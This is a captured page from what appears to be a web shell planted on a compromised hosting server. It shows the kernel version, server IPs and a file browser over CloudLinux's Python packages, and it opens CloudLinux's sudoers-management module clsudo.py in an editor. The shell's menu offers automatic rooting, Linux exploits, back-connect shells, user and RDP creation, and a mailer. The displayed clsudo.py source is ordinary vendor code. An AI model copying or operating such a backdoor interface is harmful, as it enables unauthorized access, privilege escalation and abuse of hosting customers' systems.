Linux salto.nuvemidc.com 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64
LiteSpeed
: 177.73.233.61 | : 216.73.217.116
Cant Read [ /etc/named.conf ]
7.4.33
agenci18
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
cloudlinux /
venv /
lib /
python3.11 /
site-packages /
[ HOME SHELL ]
Name
Size
Permission
Action
GitPython-3.1.32.dist-info
[ DIR ]
drwxr-xr-x
Jinja2-3.0.3.dist-info
[ DIR ]
drwxr-xr-x
Mako-1.2.4.dist-info
[ DIR ]
drwxr-xr-x
MarkupSafe-2.1.3.dist-info
[ DIR ]
drwxr-xr-x
PyJWT-2.8.0.dist-info
[ DIR ]
drwxr-xr-x
PyMySQL-1.1.0.dist-info
[ DIR ]
drwxr-xr-x
PyVirtualDisplay-3.0.dist-info
[ DIR ]
drwxr-xr-x
PyYAML-6.0.1.dist-info
[ DIR ]
drwxr-xr-x
__pycache__
[ DIR ]
drwxr-xr-x
_distutils_hack
[ DIR ]
drwxr-xr-x
_pytest
[ DIR ]
drwxr-xr-x
_yaml
[ DIR ]
drwxr-xr-x
aiohttp
[ DIR ]
drwxr-xr-x
aiohttp-3.9.2.dist-info
[ DIR ]
drwxr-xr-x
aiohttp_jinja2
[ DIR ]
drwxr-xr-x
aiohttp_jinja2-1.5.dist-info
[ DIR ]
drwxr-xr-x
aiohttp_security
[ DIR ]
drwxr-xr-x
aiohttp_security-0.4.0.dist-in...
[ DIR ]
drwxr-xr-x
aiohttp_session
[ DIR ]
drwxr-xr-x
aiohttp_session-2.9.0.dist-inf...
[ DIR ]
drwxr-xr-x
aiosignal
[ DIR ]
drwxr-xr-x
aiosignal-1.3.1.dist-info
[ DIR ]
drwxr-xr-x
alembic
[ DIR ]
drwxr-xr-x
alembic-1.11.1.dist-info
[ DIR ]
drwxr-xr-x
astroid
[ DIR ]
drwxr-xr-x
astroid-2.15.6.dist-info
[ DIR ]
drwxr-xr-x
attr
[ DIR ]
drwxr-xr-x
attrs
[ DIR ]
drwxr-xr-x
attrs-23.1.0.dist-info
[ DIR ]
drwxr-xr-x
backports
[ DIR ]
drwxr-xr-x
certifi
[ DIR ]
drwxr-xr-x
certifi-2023.7.22.dist-info
[ DIR ]
drwxr-xr-x
cffi
[ DIR ]
drwxr-xr-x
cffi-1.15.1.dist-info
[ DIR ]
drwxr-xr-x
chardet
[ DIR ]
drwxr-xr-x
chardet-5.2.0.dist-info
[ DIR ]
drwxr-xr-x
charset_normalizer
[ DIR ]
drwxr-xr-x
charset_normalizer-2.1.1.dist-...
[ DIR ]
drwxr-xr-x
cl_dom_collector
[ DIR ]
drwxr-xr-x
cl_plus
[ DIR ]
drwxr-xr-x
cl_website_collector
[ DIR ]
drwxr-xr-x
clcagefslib
[ DIR ]
drwxr-xr-x
clcommon
[ DIR ]
drwxr-xr-x
clconfig
[ DIR ]
drwxr-xr-x
clconfigure
[ DIR ]
drwxr-xr-x
cldashboard
[ DIR ]
drwxr-xr-x
clevents
[ DIR ]
drwxr-xr-x
clflags
[ DIR ]
drwxr-xr-x
cllicense
[ DIR ]
drwxr-xr-x
cllimits
[ DIR ]
drwxr-xr-x
cllimits_validator
[ DIR ]
drwxr-xr-x
cllimitslib_v2
[ DIR ]
drwxr-xr-x
cllvectl
[ DIR ]
drwxr-xr-x
clpackages
[ DIR ]
drwxr-xr-x
clquota
[ DIR ]
drwxr-xr-x
clselect
[ DIR ]
drwxr-xr-x
clselector
[ DIR ]
drwxr-xr-x
clsentry
[ DIR ]
drwxr-xr-x
clsummary
[ DIR ]
drwxr-xr-x
clveconfig
[ DIR ]
drwxr-xr-x
clwizard
[ DIR ]
drwxr-xr-x
configparser-5.0.2.dist-info
[ DIR ]
drwxr-xr-x
contextlib2
[ DIR ]
drwxr-xr-x
contextlib2-21.6.0.dist-info
[ DIR ]
drwxr-xr-x
coverage
[ DIR ]
drwxr-xr-x
coverage-7.2.7.dist-info
[ DIR ]
drwxr-xr-x
cryptography
[ DIR ]
drwxr-xr-x
cryptography-41.0.2.dist-info
[ DIR ]
drwxr-xr-x
ddt-1.4.4.dist-info
[ DIR ]
drwxr-xr-x
dill
[ DIR ]
drwxr-xr-x
dill-0.3.7.dist-info
[ DIR ]
drwxr-xr-x
distlib
[ DIR ]
drwxr-xr-x
distlib-0.3.8.dist-info
[ DIR ]
drwxr-xr-x
docopt-0.6.2.dist-info
[ DIR ]
drwxr-xr-x
dodgy
[ DIR ]
drwxr-xr-x
dodgy-0.2.1.dist-info
[ DIR ]
drwxr-xr-x
filelock
[ DIR ]
drwxr-xr-x
filelock-3.13.1.dist-info
[ DIR ]
drwxr-xr-x
flake8
[ DIR ]
drwxr-xr-x
flake8-5.0.4.dist-info
[ DIR ]
drwxr-xr-x
flake8_polyfill
[ DIR ]
drwxr-xr-x
flake8_polyfill-1.0.2.dist-inf...
[ DIR ]
drwxr-xr-x
frozenlist
[ DIR ]
drwxr-xr-x
frozenlist-1.4.0.dist-info
[ DIR ]
drwxr-xr-x
future
[ DIR ]
drwxr-xr-x
future-0.18.3.dist-info
[ DIR ]
drwxr-xr-x
git
[ DIR ]
drwxr-xr-x
gitdb
[ DIR ]
drwxr-xr-x
gitdb-4.0.10.dist-info
[ DIR ]
drwxr-xr-x
guppy
[ DIR ]
drwxr-xr-x
guppy3-3.1.3.dist-info
[ DIR ]
drwxr-xr-x
idna
[ DIR ]
drwxr-xr-x
idna-3.4.dist-info
[ DIR ]
drwxr-xr-x
iniconfig
[ DIR ]
drwxr-xr-x
iniconfig-2.0.0.dist-info
[ DIR ]
drwxr-xr-x
isort
[ DIR ]
drwxr-xr-x
isort-5.12.0.dist-info
[ DIR ]
drwxr-xr-x
jinja2
[ DIR ]
drwxr-xr-x
jsonschema
[ DIR ]
drwxr-xr-x
jsonschema-3.2.0.dist-info
[ DIR ]
drwxr-xr-x
jwt
[ DIR ]
drwxr-xr-x
lazy_object_proxy
[ DIR ]
drwxr-xr-x
lazy_object_proxy-1.9.0.dist-i...
[ DIR ]
drwxr-xr-x
libfuturize
[ DIR ]
drwxr-xr-x
libpasteurize
[ DIR ]
drwxr-xr-x
lve_stats-2.0.dist-info
[ DIR ]
drwxr-xr-x
lve_utils
[ DIR ]
drwxr-xr-x
lvemanager
[ DIR ]
drwxr-xr-x
lvestats
[ DIR ]
drwxr-xr-x
lxml
[ DIR ]
drwxr-xr-x
lxml-4.9.2.dist-info
[ DIR ]
drwxr-xr-x
mako
[ DIR ]
drwxr-xr-x
markupsafe
[ DIR ]
drwxr-xr-x
mccabe-0.7.0.dist-info
[ DIR ]
drwxr-xr-x
mock
[ DIR ]
drwxr-xr-x
mock-5.1.0.dist-info
[ DIR ]
drwxr-xr-x
multidict
[ DIR ]
drwxr-xr-x
multidict-6.0.4.dist-info
[ DIR ]
drwxr-xr-x
numpy
[ DIR ]
drwxr-xr-x
numpy-1.25.1.dist-info
[ DIR ]
drwxr-xr-x
numpy.libs
[ DIR ]
drwxr-xr-x
packaging
[ DIR ]
drwxr-xr-x
packaging-23.1.dist-info
[ DIR ]
drwxr-xr-x
past
[ DIR ]
drwxr-xr-x
pep8_naming-0.10.0.dist-info
[ DIR ]
drwxr-xr-x
pip
[ DIR ]
drwxr-xr-x
pip-24.3.1.dist-info
[ DIR ]
drwxr-xr-x
pkg_resources
[ DIR ]
drwxr-xr-x
platformdirs
[ DIR ]
drwxr-xr-x
platformdirs-3.11.0.dist-info
[ DIR ]
drwxr-xr-x
pluggy
[ DIR ]
drwxr-xr-x
pluggy-1.2.0.dist-info
[ DIR ]
drwxr-xr-x
prettytable
[ DIR ]
drwxr-xr-x
prettytable-3.8.0.dist-info
[ DIR ]
drwxr-xr-x
prometheus_client
[ DIR ]
drwxr-xr-x
prometheus_client-0.8.0.dist-i...
[ DIR ]
drwxr-xr-x
prospector
[ DIR ]
drwxr-xr-x
prospector-1.10.2.dist-info
[ DIR ]
drwxr-xr-x
psutil
[ DIR ]
drwxr-xr-x
psutil-5.9.5.dist-info
[ DIR ]
drwxr-xr-x
psycopg2
[ DIR ]
drwxr-xr-x
psycopg2_binary-2.9.6.dist-inf...
[ DIR ]
drwxr-xr-x
psycopg2_binary.libs
[ DIR ]
drwxr-xr-x
pycodestyle-2.9.1.dist-info
[ DIR ]
drwxr-xr-x
pycparser
[ DIR ]
drwxr-xr-x
pycparser-2.21.dist-info
[ DIR ]
drwxr-xr-x
pydocstyle
[ DIR ]
drwxr-xr-x
pydocstyle-6.3.0.dist-info
[ DIR ]
drwxr-xr-x
pyfakefs
[ DIR ]
drwxr-xr-x
pyfakefs-5.10.2.dist-info
[ DIR ]
drwxr-xr-x
pyflakes
[ DIR ]
drwxr-xr-x
pyflakes-2.5.0.dist-info
[ DIR ]
drwxr-xr-x
pylint
[ DIR ]
drwxr-xr-x
pylint-2.17.4.dist-info
[ DIR ]
drwxr-xr-x
pylint_celery
[ DIR ]
drwxr-xr-x
pylint_celery-0.3.dist-info
[ DIR ]
drwxr-xr-x
pylint_django
[ DIR ]
drwxr-xr-x
pylint_django-2.5.3.dist-info
[ DIR ]
drwxr-xr-x
pylint_flask
[ DIR ]
drwxr-xr-x
pylint_flask-0.6.dist-info
[ DIR ]
drwxr-xr-x
pylint_plugin_utils
[ DIR ]
drwxr-xr-x
pylint_plugin_utils-0.7.dist-i...
[ DIR ]
drwxr-xr-x
pylve-2.1-py3.11.egg-info
[ DIR ]
drwxr-xr-x
pymysql
[ DIR ]
drwxr-xr-x
pyparsing
[ DIR ]
drwxr-xr-x
pyparsing-3.0.9.dist-info
[ DIR ]
drwxr-xr-x
pyrsistent
[ DIR ]
drwxr-xr-x
pyrsistent-0.19.3.dist-info
[ DIR ]
drwxr-xr-x
pytest
[ DIR ]
drwxr-xr-x
pytest-7.4.0.dist-info
[ DIR ]
drwxr-xr-x
pytest_check
[ DIR ]
drwxr-xr-x
pytest_check-2.5.3.dist-info
[ DIR ]
drwxr-xr-x
pytest_snapshot
[ DIR ]
drwxr-xr-x
pytest_snapshot-0.9.0.dist-inf...
[ DIR ]
drwxr-xr-x
pytest_subprocess
[ DIR ]
drwxr-xr-x
pytest_subprocess-1.5.3.dist-i...
[ DIR ]
drwxr-xr-x
pytest_tap
[ DIR ]
drwxr-xr-x
pytest_tap-3.5.dist-info
[ DIR ]
drwxr-xr-x
python_pam-1.8.4.dist-info
[ DIR ]
drwxr-xr-x
pyvirtualdisplay
[ DIR ]
drwxr-xr-x
raven
[ DIR ]
drwxr-xr-x
raven-6.10.0.dist-info
[ DIR ]
drwxr-xr-x
requests
[ DIR ]
drwxr-xr-x
requests-2.31.0.dist-info
[ DIR ]
drwxr-xr-x
requirements_detector
[ DIR ]
drwxr-xr-x
requirements_detector-1.2.2.di...
[ DIR ]
drwxr-xr-x
schema-0.7.5.dist-info
[ DIR ]
drwxr-xr-x
semver
[ DIR ]
drwxr-xr-x
semver-3.0.1.dist-info
[ DIR ]
drwxr-xr-x
sentry_sdk
[ DIR ]
drwxr-xr-x
sentry_sdk-1.29.2.dist-info
[ DIR ]
drwxr-xr-x
setoptconf
[ DIR ]
drwxr-xr-x
setoptconf_tmp-0.3.1.dist-info
[ DIR ]
drwxr-xr-x
setuptools
[ DIR ]
drwxr-xr-x
setuptools-81.0.0.dist-info
[ DIR ]
drwxr-xr-x
simplejson
[ DIR ]
drwxr-xr-x
simplejson-3.19.1.dist-info
[ DIR ]
drwxr-xr-x
six-1.16.0.dist-info
[ DIR ]
drwxr-xr-x
smmap
[ DIR ]
drwxr-xr-x
smmap-5.0.0.dist-info
[ DIR ]
drwxr-xr-x
snowballstemmer
[ DIR ]
drwxr-xr-x
snowballstemmer-2.2.0.dist-inf...
[ DIR ]
drwxr-xr-x
sqlalchemy
[ DIR ]
drwxr-xr-x
sqlalchemy-1.3.24.dist-info
[ DIR ]
drwxr-xr-x
ssa
[ DIR ]
drwxr-xr-x
svgwrite
[ DIR ]
drwxr-xr-x
svgwrite-1.4.3.dist-info
[ DIR ]
drwxr-xr-x
tap
[ DIR ]
drwxr-xr-x
tap_py-3.2.1.dist-info
[ DIR ]
drwxr-xr-x
testfixtures
[ DIR ]
drwxr-xr-x
testfixtures-7.1.0.dist-info
[ DIR ]
drwxr-xr-x
toml
[ DIR ]
drwxr-xr-x
toml-0.10.2.dist-info
[ DIR ]
drwxr-xr-x
tomlkit
[ DIR ]
drwxr-xr-x
tomlkit-0.11.8.dist-info
[ DIR ]
drwxr-xr-x
typing_extensions-4.7.1.dist-i...
[ DIR ]
drwxr-xr-x
unshare-0.22.dist-info
[ DIR ]
drwxr-xr-x
urllib3
[ DIR ]
drwxr-xr-x
urllib3-2.0.4.dist-info
[ DIR ]
drwxr-xr-x
vendors_api
[ DIR ]
drwxr-xr-x
virtualenv
[ DIR ]
drwxr-xr-x
virtualenv-20.21.1.dist-info
[ DIR ]
drwxr-xr-x
wcwidth
[ DIR ]
drwxr-xr-x
wcwidth-0.2.6.dist-info
[ DIR ]
drwxr-xr-x
websiteisolation
[ DIR ]
drwxr-xr-x
wmt
[ DIR ]
drwxr-xr-x
wrapt
[ DIR ]
drwxr-xr-x
wrapt-1.15.0.dist-info
[ DIR ]
drwxr-xr-x
yaml
[ DIR ]
drwxr-xr-x
yarl
[ DIR ]
drwxr-xr-x
yarl-1.9.2.dist-info
[ DIR ]
drwxr-xr-x
_cffi_backend.cpython-311-x86_...
267.63
KB
-rwxr-xr-x
_lvdmap.cpython-311-x86_64-lin...
18.36
KB
-rwxr-xr-x
_pyrsistent_version.py
23
B
-rw-r--r--
cl_proc_hidepid.py
4.53
KB
-rw-r--r--
clcontrollib.py
51.8
KB
-rw-r--r--
cldetectlib.py
18.4
KB
-rw-r--r--
cldiaglib.py
48.5
KB
-rw-r--r--
clhooklib.py
1.27
KB
-rw-r--r--
cli_utils.py
1.66
KB
-rw-r--r--
cllicenselib.py
11.59
KB
-rw-r--r--
clsetuplib.py
5.07
KB
-rw-r--r--
clsudo.py
23.03
KB
-rw-r--r--
configparser.py
1.51
KB
-rw-r--r--
ddt.py
12.43
KB
-rw-r--r--
distutils-precedence.pth
151
B
-rw-r--r--
docopt.py
19.48
KB
-rw-r--r--
lveapi.py
21.57
KB
-rw-r--r--
lvectllib.py
133.28
KB
-rw-r--r--
lvestat.py
6.83
KB
-rw-r--r--
mccabe.py
10.4
KB
-rw-r--r--
pam.py
7.38
KB
-rw-r--r--
pep8ext_naming.py
18.61
KB
-rw-r--r--
py.py
263
B
-rw-r--r--
pycodestyle.py
101.08
KB
-rw-r--r--
pylve.cpython-311-x86_64-linux...
28.84
KB
-rwxr-xr-x
remove_ubc.py
5.73
KB
-rwxr-xr-x
schema.py
29.51
KB
-rw-r--r--
secureio.py
19.57
KB
-rw-r--r--
simple_rpm.so
15.18
KB
-rwxr-xr-x
six.py
33.74
KB
-rw-r--r--
typing_extensions.py
108.48
KB
-rw-r--r--
unshare.cpython-311-x86_64-lin...
16.31
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : clsudo.py
# coding=utf-8 # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2018 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT import logging import os import pwd import grp import re import subprocess import tempfile from stat import S_IRUSR, S_IRGRP logger = logging.getLogger(__name__) class NoSuchUser(Exception): def __init__(self, user): Exception.__init__(self, f'No such user ({user})') class NoSuchGroup(Exception): def __init__(self, group): Exception.__init__(self, f'No such group ({group})') class UnableToReadFile(Exception): def __init__(self): Exception.__init__(self, 'Cannot read sudoers file') class UnableToWriteFile(Exception): def __init__(self): Exception.__init__(self, 'Cannot modify sudoers file') SUDOERS_FILE = '/etc/sudoers' # argv-restricted: bare command paths grant arbitrary argv as root (sudoers # semantics). ps/grep/service have no in-tree sudo caller -> pin to no args (""); # lvectl's only sudo caller is `lvectl lve-version`. ALIAS_LVECTL_CMDS = ['/bin/ps ""', '/bin/grep ""', '/sbin/service ""', "/usr/bin/getcontrolpaneluserspackages", "/usr/sbin/lvectl lve-version", "/usr/local/directadmin/plugins/new_lvemanager/admin/GetDomains", "/usr/share/l.v.e-manager/utils/cloudlinux-cli.py"] ALIAS_LVECTL_USER_CMDS = ["/usr/share/l.v.e-manager/utils/cloudlinux-cli-user.py"] # argv-restricted (same rationale as ALIAS_LVECTL_CMDS): no in-tree consumer # invokes these via sudo, so pin to no args ("") rather than arbitrary argv as root. ALIAS_CAGEFS_CMDS = ['/usr/sbin/cagefsctl ""', '/bin/ps ""', '/bin/grep ""', '/sbin/service ""'] # Detect a CAGEFS_CMDS / SELECTOR_CMDS alias definition regardless of the # (visudo-legal) whitespace around Cmnd_Alias, the alias name, and `=`. A # substring match on a single-space form misses a valid non-canonical line, so # the upgrade-rewrite would skip it and append a duplicate alias that # `visudo -c` then rejects. CAGEFS_ALIAS_RE = re.compile(r'^\s*Cmnd_Alias\s+CAGEFS_CMDS\s*=') SELECTOR_ALIAS_RE = re.compile(r'^\s*Cmnd_Alias\s+SELECTOR_CMDS\s*=') LVECTL_ALIAS_RE = re.compile(r'^\s*Cmnd_Alias\s+LVECTL_CMDS\s*=') # argv-restricted (same rationale as ALIAS_LVECTL_CMDS/ALIAS_CAGEFS_CMDS): the # only in-tree sudo caller named cl_selector.py runs /usr/sbin/cloudlinux-selector # (a different path) as the target user, not these paths as root; lveps runs from # the lve-stats root daemon without sudo; piniset has no caller (deprecated). No # consumer invokes these via the NOPASSWD-root grant, so pin to no args ("") # rather than arbitrary argv as root. ALIAS_SELECTOR_CMDS = ['/usr/bin/cl-selector ""', '/usr/bin/piniset ""', '/usr/sbin/lveps ""', '/usr/bin/selectorctl ""'] DEFAULTS_REQUIRETTY = 'Defaults:%s !requiretty' # Patterns for group GROUP_LVECTL_SELECTOR = '%%%s ALL=NOPASSWD: LVECTL_CMDS, SELECTOR_CMDS' GROUP_DEFAULTS_REQUIRETTY = 'Defaults:%%%s !requiretty' class Clsudo: """ Adds CloudLinux users to sudoers file """ # Fail-closed allowlist for the write destination. `sudoers_file` is a # public parameter that flows into `filepath`; the only path the product # ever writes is /etc/sudoers. Restricting the destination here ensures a # caller that forwarded an attacker-influenced path is refused rather than # dropping a sudoers file at an arbitrary location. Tests override this. _ALLOWED_SUDOERS_PATHS = (SUDOERS_FILE,) filepath = None sudoers_list = [] has_action = False has_group_action = False has_alias = False has_user_alias = False has_rights = False has_user_rights = False has_selector_alias = False has_selector_rights = False has_cagefs_alias = False has_cagefs_rights = False @staticmethod def add_user(user, sudoers_file=SUDOERS_FILE): """ Adds username to sudoers file (for lvemanager) """ logger.info("add_user: adding user '%s' to sudoers file '%s' " "(uid=%d, pid=%d)", user, sudoers_file, os.getuid(), os.getpid()) # Update command lists for lvemanager Clsudo.update_commands_list(sudoers_file) Clsudo._check_user(user) Clsudo._get_contents(user) if not Clsudo.has_alias: Clsudo.sudoers_list.append('Cmnd_Alias LVECTL_CMDS = ' + ", ".join(ALIAS_LVECTL_CMDS)) if not Clsudo.has_user_alias: Clsudo.sudoers_list.append('Cmnd_Alias LVECTL_USER_CMDS = ' + ", ".join(ALIAS_LVECTL_USER_CMDS)) if not Clsudo.has_selector_alias: Clsudo.sudoers_list.append('Cmnd_Alias SELECTOR_CMDS = ' + ", ".join(ALIAS_SELECTOR_CMDS)) if not Clsudo.has_rights: Clsudo.sudoers_list.append(f'{user} ALL=NOPASSWD: LVECTL_CMDS') if not Clsudo.has_user_rights: Clsudo.sudoers_list.append(f'{user} ALL=(ALL) NOPASSWD: LVECTL_USER_CMDS') if not Clsudo.has_selector_rights: Clsudo.sudoers_list.append(f'{user} ALL=NOPASSWD: SELECTOR_CMDS') if not Clsudo.has_action: Clsudo.sudoers_list.append(DEFAULTS_REQUIRETTY % (user,)) Clsudo._write_contents() logger.info("add_user: successfully added user '%s' to '%s'", user, sudoers_file) @staticmethod def add_cagefs_user(user, sudoers_file=SUDOERS_FILE): """ Adds username to sudoers file (for cagefs) """ logger.info("add_cagefs_user: adding user '%s' to sudoers file '%s' " "(uid=%d, pid=%d)", user, sudoers_file, os.getuid(), os.getpid()) Clsudo.filepath = sudoers_file Clsudo._check_user(user) Clsudo._get_contents(user) if not Clsudo.has_cagefs_alias: Clsudo.sudoers_list.append('Cmnd_Alias CAGEFS_CMDS = ' + ", ".join(ALIAS_CAGEFS_CMDS)) if not Clsudo.has_cagefs_rights: Clsudo.sudoers_list.append(f'{user} ALL=NOPASSWD: CAGEFS_CMDS') if not Clsudo.has_action: Clsudo.sudoers_list.append(DEFAULTS_REQUIRETTY % (user,)) Clsudo._write_contents() logger.info("add_cagefs_user: successfully added user '%s' to '%s'", user, sudoers_file) @staticmethod def add_lvemanager_group(group_name, sudoers_file=SUDOERS_FILE): """ Adds group to sudoers file, grants access to LVE Manager """ logger.info("add_lvemanager_group: adding group '%s' to sudoers file '%s' " "(uid=%d, pid=%d)", group_name, sudoers_file, os.getuid(), os.getpid()) # Update command lists for lvemanager Clsudo.update_commands_list(sudoers_file) Clsudo._check_group(group_name) Clsudo._get_contents_group(group_name) if not Clsudo.has_alias: Clsudo.sudoers_list.append('Cmnd_Alias LVECTL_CMDS = ' + ", ".join(ALIAS_LVECTL_CMDS)) if not Clsudo.has_selector_alias: Clsudo.sudoers_list.append('Cmnd_Alias SELECTOR_CMDS = ' + ", ".join(ALIAS_SELECTOR_CMDS)) if not Clsudo.has_action: Clsudo.sudoers_list.append(GROUP_LVECTL_SELECTOR % (group_name,)) if not Clsudo.has_group_action: Clsudo.sudoers_list.append(GROUP_DEFAULTS_REQUIRETTY % (group_name,)) # writes file Clsudo._write_contents() logger.info("add_lvemanager_group: successfully added group '%s' to '%s'", group_name, sudoers_file) @staticmethod def remove_user(user, sudoers_file=SUDOERS_FILE): """ Removes username from sudoers file """ logger.info("remove_user: removing user '%s' from sudoers file '%s' " "(uid=%d, pid=%d)", user, sudoers_file, os.getuid(), os.getpid()) Clsudo.filepath = sudoers_file try: with open(Clsudo.filepath, encoding='utf-8') as f: Clsudo.sudoers_list = f.read().splitlines() idx = 0 removed = False while idx < len(Clsudo.sudoers_list): line = Clsudo.sudoers_list[idx] # Anchor matches at line start: a substring match would let # remove_user(<user>) also strip the rules of a different enrolled # admin whose name ends with <user> (remove_user('alice') must not # touch 'malice'). add_user writes both the plain `<user> ALL=NOPASSWD:` # rules and the `<user> ALL=(ALL) NOPASSWD: LVECTL_USER_CMDS` rule # (line 94); match the `(ALL) ` form too so it is not orphaned (CLOS-4593 [28]). if (line.startswith(f'{user} ALL=NOPASSWD:') or line.startswith(f'{user} ALL=(ALL) NOPASSWD:') or line.startswith(DEFAULTS_REQUIRETTY % (user,))): logger.info("remove_user: removing sudoers rule for user '%s': %s", user, line) Clsudo.sudoers_list.remove(line) removed = True continue idx += 1 if removed: Clsudo._write_contents() logger.info("remove_user: successfully removed user '%s' from '%s'", user, sudoers_file) else: logger.info("remove_user: no rules found for user '%s' in '%s'", user, sudoers_file) except (IOError, OSError) as e: raise UnableToReadFile() from e @staticmethod def update_user(user, sudoers_file=SUDOERS_FILE): """ updates username in sudoers file :param user: username for caching :param sudoers_file: path to /etc/sudoers (only for tests) :return: None """ logger.info("update_user: updating user '%s' in sudoers file '%s' " "(uid=%d, pid=%d)", user, sudoers_file, os.getuid(), os.getpid()) # Update command lists Clsudo.update_commands_list(sudoers_file) # For backward compatibility # Check user presence in system Clsudo._check_user(user) Clsudo._get_contents(user) @staticmethod def update_commands_list(sudoers_file=SUDOERS_FILE): """ Update command lists for lvemanager plugin If any required command absent in file, add it :param sudoers_file: path to /etc/sudoers :return: None """ # Read /etc/sudoers Clsudo.filepath = sudoers_file Clsudo.temp_dir = os.path.dirname(Clsudo.filepath) Clsudo._read_sudoers() # (regex, alias name, restricted command list) per upgradeable alias. # The anchored regexes tolerate any visudo-legal whitespace around # Cmnd_Alias / the alias name / `=`; _rewrite_alias collapses a # backslash line-continuation span and no-ops on an unrecognised form, # so an existing lax (or continuation) definition is upgraded in place # without duplication or corruption (same machinery as the CAGEFS_CMDS # upgrade in _get_contents). alias_specs = ((LVECTL_ALIAS_RE, 'LVECTL_CMDS', ALIAS_LVECTL_CMDS), (SELECTOR_ALIAS_RE, 'SELECTOR_CMDS', ALIAS_SELECTOR_CMDS)) is_sudoer_change = False for idx, command_string in enumerate(Clsudo.sudoers_list): for alias_re, alias_name, alias_list in alias_specs: if alias_re.match(command_string): before = Clsudo.sudoers_list[idx] Clsudo._rewrite_alias(idx, alias_name, alias_list) if Clsudo.sudoers_list[idx] != before: is_sudoer_change = True break if is_sudoer_change: logger.info("update_commands_list: updating command aliases in '%s' " "(uid=%d, pid=%d)", sudoers_file, os.getuid(), os.getpid()) Clsudo._write_contents() @staticmethod def _check_user(user): """ Checks passwd database for username presence @param user: string """ try: pwd.getpwnam(user) except KeyError as e: raise NoSuchUser(user) from e @staticmethod def _check_group(group_name): """ Checks grp database for group_name presence @param group_name: string """ try: grp.getgrnam(group_name) except KeyError as e: raise NoSuchGroup(group_name) from e @staticmethod def _read_sudoers(): with open(Clsudo.filepath, encoding='utf-8') as f: Clsudo.sudoers_list = f.read().splitlines() @staticmethod def _rewrite_alias(idx, alias_name, alias_cmds): """Rewrite the existing `alias_name` Cmnd_Alias definition at sudoers_list[idx] to the single canonical argv-restricted line, in place. Shared by the CAGEFS_CMDS and SELECTOR_CMDS upgrade rewrites - both are lax bare-command aliases whose pre-fix on-disk form must be tightened to the argv-restricted `alias_cmds` join without duplicating or corrupting the definition. The definition may span several physical lines via visudo-legal backslash line-continuation (_read_sudoers splits on physical lines, so each continuation line is its own list element). Consume the whole span - the matched line plus every following line the preceding line continued onto - and replace it with one restricted line. Never-corrupt invariant: if the definition cannot be confidently and safely collapsed (a continuation whose trailing backslash runs off the end of the file - i.e. the file is already malformed), leave it exactly as-is. The worst case of the upgrade rewrite is a safe no-op (the file stays as valid as it was), never a corrupted sudoers file. The caller still sets the has_*_alias flag, so no duplicate definition is appended. """ lines = Clsudo.sudoers_list end = idx # Walk every physical line the preceding line continued onto (trailing # backslash). A dangling continuation (last line of the span ends in a # backslash with no successor) is an already-malformed form we do not # recognise -> bail out, leaving the definition untouched. while lines[end].endswith('\\'): if end + 1 >= len(lines): return end += 1 restricted = f'Cmnd_Alias {alias_name} = ' + ", ".join(alias_cmds) if end == idx and lines[idx].strip() == restricted: return # Collapse [idx, end] (matched line + its continuation lines) to the # single restricted line. Only elements after idx are removed, so the # enumerate() in the caller resumes correctly at the next real line. lines[idx:end + 1] = [restricted] @staticmethod def _get_contents(user): """ Reads file into list of strings @param user: string """ # Clear all status flags Clsudo.has_action = False Clsudo.has_group_action = False Clsudo.has_alias = False Clsudo.has_user_alias = False Clsudo.has_rights = False Clsudo.has_user_rights = False Clsudo.has_selector_alias = False Clsudo.has_selector_rights = False Clsudo.has_cagefs_alias = False Clsudo.has_cagefs_rights = False require_tty_pattern = re.compile(rf'Defaults:\s*{user}\s*!requiretty') try: # Read sudoers file Clsudo._read_sudoers() for idx, command_string in enumerate(Clsudo.sudoers_list): if "Cmnd_Alias LVECTL_CMDS" in command_string: Clsudo.has_alias = True continue if "Cmnd_Alias LVECTL_USER_CMDS" in command_string: Clsudo.has_user_alias = True continue if CAGEFS_ALIAS_RE.match(command_string): # Upgrade: rewrite a pre-existing lax CAGEFS_CMDS definition # (bare command paths grant arbitrary argv as root) to the # argv-restricted form in place. Matched whitespace-tolerantly # and continuation-aware so a valid non-canonical or multi-line # definition is rewritten, not duplicated or corrupted. Clsudo._rewrite_alias(idx, 'CAGEFS_CMDS', ALIAS_CAGEFS_CMDS) Clsudo.has_cagefs_alias = True continue # Anchor to the start of the line so we don't false-positive on # a longer user whose name ends with `user` — e.g. searching for # `admin ALL=NOPASSWD: CAGEFS_CMDS` must not match a pre-existing # `newadmin ALL=NOPASSWD: CAGEFS_CMDS` line, or add_cagefs_user # silently skips granting the rights and DA admins land without # the sudo entry the hook is supposed to install. if command_string.lstrip().startswith(f"{user} ALL=NOPASSWD: LVECTL_CMDS"): Clsudo.has_rights = True continue if command_string.lstrip().startswith(f"{user} ALL=(ALL) NOPASSWD: LVECTL_USER_CMDS"): Clsudo.has_user_rights = True continue if command_string.lstrip().startswith(f"{user} ALL=NOPASSWD: CAGEFS_CMDS"): Clsudo.has_cagefs_rights = True continue if "requiretty" in command_string: pattern_match = require_tty_pattern.search(command_string) if pattern_match: Clsudo.has_action = True continue if SELECTOR_ALIAS_RE.match(command_string): # Upgrade: rewrite a pre-existing lax SELECTOR_CMDS definition # (bare command paths grant arbitrary argv as root) to the # argv-restricted form in place, same whitespace-tolerant, # continuation-aware, never-corrupt rewrite as CAGEFS_CMDS. Clsudo._rewrite_alias(idx, 'SELECTOR_CMDS', ALIAS_SELECTOR_CMDS) Clsudo.has_selector_alias = True continue if command_string.lstrip().startswith(f"{user} ALL=NOPASSWD: SELECTOR_CMDS"): Clsudo.has_selector_rights = True continue except (IOError, OSError) as e: raise UnableToReadFile() from e @staticmethod def _get_contents_group(group_name): """ Reads file into list of strings @param group_name: string """ # Clear all status flags Clsudo.has_action = False Clsudo.has_group_action = False Clsudo.has_alias = False Clsudo.has_rights = False Clsudo.has_selector_alias = False Clsudo.has_selector_rights = False Clsudo.has_cagefs_alias = False Clsudo.has_cagefs_rights = False group_prefix = f"%{group_name}" group_action = f"Defaults:%{group_name}" group_pattern = 